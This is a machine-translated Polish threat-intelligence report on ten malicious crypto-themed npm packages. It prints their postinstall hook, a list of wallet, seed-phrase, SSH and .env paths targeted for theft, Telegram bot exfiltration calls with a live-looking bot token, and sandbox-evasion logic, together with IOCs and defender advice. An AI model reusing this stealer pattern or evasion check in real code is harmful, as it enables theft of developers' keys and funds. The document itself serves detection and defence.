SeedSweep: Dziesięć złośliwych pakietów npm Crypto

SeedSweep: Dziesięć pakietów npm o tematyce kryptograficznej, które działają tylko wtedy, gdy nikt nie patrzy

TL; DR

9 czerwca 2026 r. pojedyncze konto wydawcy npm, aicrypto-xzggg, wysłany dziesięć pakietów z nazwami nawiązującymi do kryptografii i Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9i sześć kolejnych.

Każdy pakiet uruchamia ten sam ładunek z postinstall hak. Podczas instalacji sprawdza, czy działa w ramach CI, czy w piaskownicy — jeśli nie, odczytuje magazyny kluczy portfela, pliki fraz początkowych, klucze SSH i .env pliki z sześciu ekosystemów blockchain i przesyła je do bota Telegram.

Jedynym wskaźnikiem, na który obrońca może natychmiast zwrócić uwagę, jest identyfikator bota Telegram 8227918239.

Surowość: krytyczny — bezpośrednia kradzież kluczy do podpisu i fraz odzyskiwania z stacje robocze dla programistów.

Atak: Jak to działa

Pakiety reklamują się jako narzędzia dla programistów blockchain. pakiet.json jest minimalny i wskazuje cykl życia instalacji na skrypt:

{   "name": "farming-tools-12",   "main": "src/index.js",   "scripts": { "postinstall": "node scripts/postinstall.js" },   "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],   "author": "Alex Smith",   "license": "MIT" }

skrypty/postinstall.js jest jednoliniową podkładką ładującą rzeczywisty ładunek: wymagaj(“../src/index.js”), Bo po instalacji uruchamia się automatycznie podczas npm zainstalowaćnie jest wymagany import kodu przez dewelopera — umieszczenie pakietu w drzewie zależności wystarczy, aby go uruchomić.

Łańcuch śmierci w środku src/index.js to cztery kroki:

  1. Kontrola środowiska. Funkcja strażnicza decyduje, czy host wygląda jak agent kompilacji czy piaskownica analityczna.
  2. Opóźnienie. Wykonanie jest odroczone za ustawiony limit czasu około 7.4 sekundy.
  3. Kolekcja. Przeglądana jest stała lista ścieżek do portfela, kluczy i plików tajnych; istniejące pliki są umieszczane w kolejce.
  4. Eksfiltracja. Pliki w kolejce są wysyłane do bota Telegramu i poprzedzane wiadomością podsumowującą.

Lista celów kolekcji obejmuje sześć łańcuchów oraz ogólne sekrety programistyczne. Przycięto:

~/.config/solana/id.json        ~/.ethereum/keystore ~/.solana/keypair.json          ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore         ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt                ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json  ./keystore.json  ./mnemonic.txt  ./seed.txt ./seedphrase.txt  ./recovery.txt  ./private.key  ./.env  ./.env.local

Łącznie dwadzieścia jeden ścieżek. Wpisy katalogowe, takie jak ~/.ethereum/keystore są rozszerzane, a każdy plik w środku jest kolejkowany. Eksfiltracja korzysta bezpośrednio z API Telegram Bot — wyślij wiadomość zadzwoń z podsumowaniem hosta i pliku, a następnie wyślij dokument przesyłanie wielu części dla każdego pliku:

XNUMX

POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument   (one per file)

Podsumowanie wiadomości, które tworzy kod, zaczyna się od ciągu literowego ZŁODZIEJ KRYPTOWALUT, po której następuje nazwa hosta, nazwa użytkownika, nazwa pakietu źródłowego, liczba plików i znacznik czasu.

Co tu nowego?

Mechanizm kradzieży nie jest czynnikiem różnicującym — wyłudzanie danych z npm na podstawie Telegramu po instalacji hooks jest dobrze wydeptany. To jest brama egzekucyjna. Zanim cokolwiek zostanie wykonane, ładunek wywołuje funkcję, która zwraca wartość true, gdy host przypomina moduł uruchamiający CI lub piaskownicę, i zwraca wartość early, gdy tak jest:

XNUMX

isTestEnvironment() is true when ANY of:   - env CI == "true"  OR  GITHUB_ACTIONS == "true"  OR  JENKINS_HOME set   - env NODE_ENV in {test, development}   - username/USER contains: runner, sandbox, test, docker,     jenkins, gitlab, travis, circleci   - hostname contains: sandbox, test, ci   - hostname matches /^[a-f0-9]{12}$/   (a container-id shape)

Wyrażenie regularne identyfikatora kontenera to klauzula warta uwagi: 12-znakowa nazwa hosta w formacie szesnastkowym to domyślny kształt, jaki Docker przypisuje do pojemnik, więc ładunek traktuje komunikat „moja nazwa hosta wygląda jak kontener Dockera” jako powód do pozostania w stanie uśpienia. W połączeniu z siedmiosekundowym opóźnieniem, projekt sprzyja uruchomieniu na rzeczywistej stacji roboczej programisty i wyciszeniu wszędzie tam, gdzie analiza wygląda na zautomatyzowaną. To właśnie ta bramka tłumiła sygnały analizy dynamicznej i utrzymywała statyczny przepływ wypływu jako główny dowód skazania.

Oś czasu

Data (UTC) wydarzenie
2026-06-09 ~02:48 Pierwsze pakiety w klastrze oznaczone flagą przy publikacji (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0)
2026-06-09 ~03:21–03:25 Członkowie o wyższych wersjach zostali oznaczeni flagą (ethereum-kit-9 w 1.25.36, wallet-sdk-9 o godzinie 3.7.73)
2026-06-09 ~03:58–03:59 Oznaczono ostatnich członków (defi-tools-39 w 4.26.29, swap-sdk-87 w 4.63.78, farming-tools-12 o godzinie 4.68.54)
2026-06-09 Wszystkie dziesięć sklasyfikowano jako złośliwe i zgłoszono do usunięcia z rejestru

Wszystkie dziesięć odcinków ukazało się w ciągu około siedemdziesięciu minut, co jest zgodne z jedną publikacją opartą na scenariuszu z jednego źródła.

Wskaźniki kompromisu

Wskaźniki sieciowe i behawioralne (gospodarz pozbawiony kłów):

Wskaźnik Wartość:
Punkt końcowy Exfil api[.]telegram[.]org (API bota Telegramu)
Identyfikator bota Telegramu 8227918239
Token bota 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs
Identyfikator czatu Telegram 6433587894
Zainstaluj hak postinstallscripts/postinstall.jssrc/index.js
Sznur znaczników CRYPTO STEALER w złożonym komunikacie podsumowującym
wydawca aicrypto-xzggg (podany adres e-mail vipsyria88@gmail[.]com, niezweryfikowane)

Pakiety i wersje, każda z własnym algorytmem SHA-256 src/index.js ładunek (ładunki są funkcjonalnie identyczne i różnią się jedynie osadzoną etykietą nazwy pakietu, więc każdy skrót jest odrębny):

html
Pakiet Wersja SHA-256 src/index.js
farming-tools-12 4.68.54 b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4
swap-sdk-87 4.63.78 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c
defi-tools-39 4.26.29 ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee
wallet-sdk-9 3.7.73 ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502
ethereum-kit-9 1.25.36 c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f
ethereum-kit-1 1.0.0 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381
solana-core-4 1.0.0 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d
web3-tools-9 1.0.0 db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d
crypto-utils-7 1.0.0 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92
blockchain-helper-0 1.0.0 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db

Proste zapytanie: przeszukaj dzienniki instalacji i pliki blokad pod kątem dowolnej z dziesięciu nazw, a następnie przeszukaj ruch wychodzący pod kątem połączeń z interfejsem API bota Telegramu z hostów kompilacji lub środowisk deweloperskich, które w inny sposób z niego nie korzystają.

Atrybucja i obserwowane zachowanie

Wszystkie dziesięć pakietów zostało opublikowanych przez jedno konto, aicrypto-xzggg, którego podany adres e-mail to vipsyria88@gmail[.]comZarówno adres e-mail, jak i link do kontroli źródła nie zostały zweryfikowane w metadanych rejestru, a konto ma bardzo negatywną ocenę reputacji. Nie potwierdziliśmy, kto zarządza kontem.

Warto oddzielić dwa szczegóły od wszelkich roszczeń dotyczących tożsamości. Po pierwsze, pakiet.json autor pole odczytuje Alex Smith w każdym pakiecie, podczas gdy rzeczywiste konto wydawnicze jest aicrypto-xzggg; pole autora to deklarowane przez użytkownika metadane i nie określa autorstwa. Po drugie, numery wersji są bardzo zróżnicowane — niektórzy członkowie znajdują się na 1.0.0, inni w 4.68.54 — co jest zgodne z ponownym wykorzystaniem pojedynczego ładunku w nowo utworzonych nazwach pakietów, zamiast utrzymywania rzeczywistych historii wydań.

Zachowanie jest takie samo w całym klastrze: ta sama lista ścieżek docelowych, ten sam identyfikator bota Telegram i identyfikator czatu, ta sama brama środowiskowa, ten sam ZŁODZIEJ KRYPTOWALUT znacznik. Ta jednolitość jest najsilniejszym ogniwem łączącym pakiety. Jest to sygnał tego samego operatora, a nie tożsamość.

Wpływ, trendy i wskazówki dla obrońców

Ekspozycja jest konkretna. Deweloper, który zainstaluje którykolwiek z tych pakietów na stacji roboczej zawierającej portfel oprogramowania, plik frazy początkowej lub klucz SSH, ma te pliki odczytane i przesłane z hosta w ciągu kilku sekund. Frazy odzyskiwania i klucze podpisu nie wygasają tak jak token sesji; po mnemonik.txt lub Solana id.json opuszcza maszynę, kontrolowane przez nią fundusze są zagrożone do momentu ich przeniesienia. Ten sam bieg obejmuje również .env pliki, które rutynowo zawierają klucze API i dane uwierzytelniające bazy danych.

Za tym klastrem kryją się dwa trendy. Pierwszym jest ciągłe używanie nazw nawiązujących do kryptowalut i Web3 w celu pozyskania określonej grupy odbiorców – programistów, którzy przechowują portfele i klucze na tej samej maszynie, na której instalują zależności. Drugim jest dojrzewanie unikania sandboxów w ładunkach instalacyjnych. Bramka, która sprawdza zmienne środowiskowe CI, nazwy użytkowników runnerów i kształt nazwy hosta kontenera Docker, to celowe działanie mające na celu odmienne zachowanie w analizie niż na rzeczywistej stacji roboczej i podnosi poprzeczkę dla czysto dynamicznego wykrywania.

Dla obrońców:

Zainstaluj ze skryptami domyślnie wyłączonymi. npm install –ignore-scriptslub ustaw ignoruj-skrypty=prawda in .npmrc, zapobiega po instalacji wykonywanie; włącz skrypty tylko dla określonych zależności, które ich naprawdę wymagają.

Trzymaj portfele i klucze podpisu poza maszynami do kompilacji i rozwoju. Używaj portfela sprzętowego lub dedykowanego, niezależnego hosta podpisu.

Leczenie .env, magazyny kluczy i pliki fraz początkowych jako klejnoty koronne. Nigdy nie powinny znajdować się w katalogu, który jest jednocześnie npm zainstalować drzewo robocze.

Szukaj połączeń wychodzących do API bota Telegrama od CI i hostów deweloperskich. Większość środowisk kompilacji nigdy go nie wywołuje; warto zbadać takie, które nagle to robi, zaraz po instalacji.

Przypnij i sprawdź zależności. Zupełnie nowy pakiet z ogólną nazwą kryptograficzną, po instalacji hak, a żaden link do repozytorium nie uzasadnia sprawdzenia go przed wejściem do pliku blokady.

Klauzula obejścia identyfikatora kontenera jest również przypomnieniem dla analityków: ładunek w czasie instalacji, który pozostaje uśpiony w piaskownicy, nie jest nieszkodliwy, lecz selektywny. Statyczna analiza ścieżki instalacji pozostaje niezawodnym sposobem na sprawdzenie, czego dynamiczne wykonanie może nie pokazać.

Referencje

dokumentacja instalacji npm — skrypty cyklu życia i –Ignore-scripts— odniesienie do wyłączania automatycznej instalacji hooks. 

sca-tools-oprogramowanie-narzędzia-analizy-kompozycji
Określ priorytety, rozwiąż problemy i zabezpiecz zagrożenia związane z oprogramowaniem
Załóż darmowe konto.
Nie wymagamy karty kredytowej.

Zabezpiecz swoje oprogramowanie i dostarczanie

z pakietem produktów Xygeni